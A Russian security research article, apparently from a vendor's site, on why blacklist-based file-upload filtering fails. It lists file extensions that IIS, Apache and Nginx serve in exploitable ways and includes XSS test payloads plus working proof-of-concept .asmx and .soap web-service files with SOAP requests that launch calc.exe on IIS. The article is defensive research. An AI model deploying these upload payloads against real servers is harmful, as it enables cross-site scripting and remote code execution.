WhiteList vs BlackList: как реализовать проверку расширений файлов и не стать жертвой хакеров

WhiteList vs BlackList: как реализовать проверку расширений файлов и не стать жертвой хакеров

1.png



Нередко, во время анализа защищенности веб-приложений мы сталкиваемся с загрузкой каких-либо файлов на сервер – это могут быть и фотографии учетной записи, и какие-то текстовые документы, и что угодно другое. Существуют расширения файлов, с которыми многие работали и знают, почему нужно запретить их загрузку на сервер (например, при использовании веб-сервера apache в связке с PHP, наверное, лучше избегать загрузку файлов с расширением «.php» от пользователей). Однако, мне показалось, что остались еще некоторые малоизвестные форматы, которые по-разному воспринимаются различными веб-серверами.

При написании кода, который отвечает за загрузку файлов, разработчики веб-приложений, могут прибегнуть к проверке расширения загружаемого файла либо по WhiteList (и тогда можно загружать только файлы с определенным расширением), либо по BlackList (и тогда можно загружать любые файлы, которые не описаны в списке). Если все-таки используется второй вариант, то это нередко может выливаться в уязвимость (например, XSS или даже RCE).

Как правило, программисты вносят в BlackList уже известные и очевидные расширения. В статье же будут рассмотрены не самые распространенные типы файлов.

Для демонстрации PoC использовались следующие пейлоады:

  • Базовый XSS-вектор, используемый для тестов (Basic вектор): 

    <script>alert(1337)</script>
  • XSS-вектор с использованием XML (XML-based вектор): 

    <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script>

Далее я покажу результаты этого небольшого исследования.

IIS


По умолчанию IIS отдает файлы, приведенные в списке ниже с content-type: text/html.

Расширения, которые позволяют использовать Basic-вектор:


  • .cer
  • .hxt
  • .htm

2.jpg



Таким образом, есть возможность внедрить XSS-вектор в загружаемый файл. При обращении к файлу, браузер успешно исполнит javascript.

Следующую группу расширений IIS отдаёт с таким content-type, который позволяет выполнить XSS через XML-вектор.

Расширения, которые позволяют использовать XML-based вектор:


  • .dtd
  • .mno
  • .vml
  • .xsl
  • .xht
  • .svg
  • .xml
  • .xsd
  • .xsf
  • .svgz
  • .xslt
  • .wsdl
  • .xhtml

3.png



IIS по умолчанию поддерживает SSI, однако секция exec запрещена в целях безопасности. При стандартном конфигурировании мы не сможем добиться произвольного выполнения команд, но будет возможность читать локальные файлы. Ниже приведены расширения, при использовании которых, IIS позволяет использовать SSI директивы.

Расширения для эксплуатации SSI:


  • .stm
  • .shtm
  • .shtml

4.png





Дополнение:


Так же есть еще два интересных расширения (.asmx и .soap), которые могут привести к выполнению произвольного кода. Это было обнаружено при сотрудничестве с моим коллегой – Юрием Алейновым (@YuryAleinov).

Asmx-расширение


1. Если есть возможность загрузки файлов с расширением «.asmx», то это может привести к исполнению произвольного кода. Для примера возьмем файл со следующим содержимым и загрузим на сервер:

<%@ WebService Language="C#" Class="MyClass" %>
using System.Web.Services;
using System;
using System.Diagnostics;


    [WebService(Namespace="")]
    public class MyClass : WebService 
    {
        [WebMethod]
        public string Pwn_Function()
        {
            Process.Start("calc.exe");
            return "PWNED";
        }
    }

5.png



2. Далее отправляем следующий POST запрос к файлу, который удалось загрузить:

POST /1.asmx HTTP/1.1
Host: localhost:44300
Content-Type: application/soap+xml; charset=utf-8
Content-Length: 287

<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <Pwn_Function/>
  </soap12:Body>
</soap12:Envelope>

3. В результате IIS запустит процесс «calc.exe»

6.png




Soap-расширение:


1. Содержимое файла, которое загружается с расширением «.soap»:

<%@ WebService Language="C#" Class="MyClass" %>
using System.Web.Services;
using System;

public class MyClass : MarshalByRefObject
{
    public MyClass() { 
	    System.Diagnostics.Process.Start("calc.exe");
	}		     
}

2. SOAP-запрос:

POST /1.soap HTTP/1.1
Host: localhost:4430
Content-Length: 283
Content-Type: text/xml; charset=utf-8
SOAPAction: "/"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <MyFunction />
  </soap:Body>
</soap:Envelope>

7.png



Apache (httpd или Tomcat)


Расширения, которые позволяют использовать Basic-вектор:


  • .shtml
  • .html.de or .html.xxx (xxx – любые символы)*

Расширения, где можно использовать XML-based вектор:


  • .rdf
  • .xht
  • .xml
  • .xsl
  • .svg
  • .xhtml
  • .svgz

* — если в имени файла после .html следует .xxx, где xxx – любые символы, то Apache отдаст файл с Content-Type text/html. Если же вместо xxx будет, например, de,en,ru и т.д., то веб-сервер еще добавит в ответ заголовок Content-language с соответствующим значением.

Дополнение:


Большое количество файлов с разными расширениями Apache и Tomcat возвращает без заголовка Content-type, что позволяет провести XSS-атаку, т.к. браузер зачастую сам решает, как обрабатывать данную страницу. Хорошо описан этот вопрос в данной статье. Так, файлы с расширением .xbl обрабатываются браузером Firefox, как xml (если в ответе отсутствует заголовок Content-Type), поэтому есть возможность эксплуатирования XSS используя XML-based вектор в данном браузере.

Nginx


Расширения, которые позволяют использовать Basic-вектор:


  • .htm

Расширения, где можно использовать XML-based вектор:


  • .svg
  • .xml
  • .svgz

Заключение


Проанализировав взаимодействие веб-серверов с различными расширениями, были найдены форматы файлов, загрузка которых может привести к эксплуатации уязвимостей. Так, из-за загрузки определенных файлов, злоумышленник может эксплуатировать такие уязвимости, как XSS или даже RCE. 

Данное исследование может служить еще одним подтверждением того, что использование черных списков может негативно отразиться на безопасности разрабатываемого веб-приложения. Поэтому лучше сформировать белый список, по которому будет осуществляться проверка расширения загружаемого файла.
Связанные товары: MaxPatrol 8 / MaxPatrol SIEM / PT Application Inspector
06.03.2018

Возврат к списку

КЛИЕНТЫ КОМПАНИИ

Asia
Аеропорт
Волковгеология
AirAstana
Метрополитен
Astel
ЭФКО,
Сентрас Иншуранс
Международный аэропорт Астана
Международный аэропорт Алматы
Bericap Kazakhstan
Метрополитен
Казросгаз
КазМунайГаз
Alina Management
KazConstruction Group
Самрук-Энерго, АО
Amanat Insurance
Nomad Life
KMF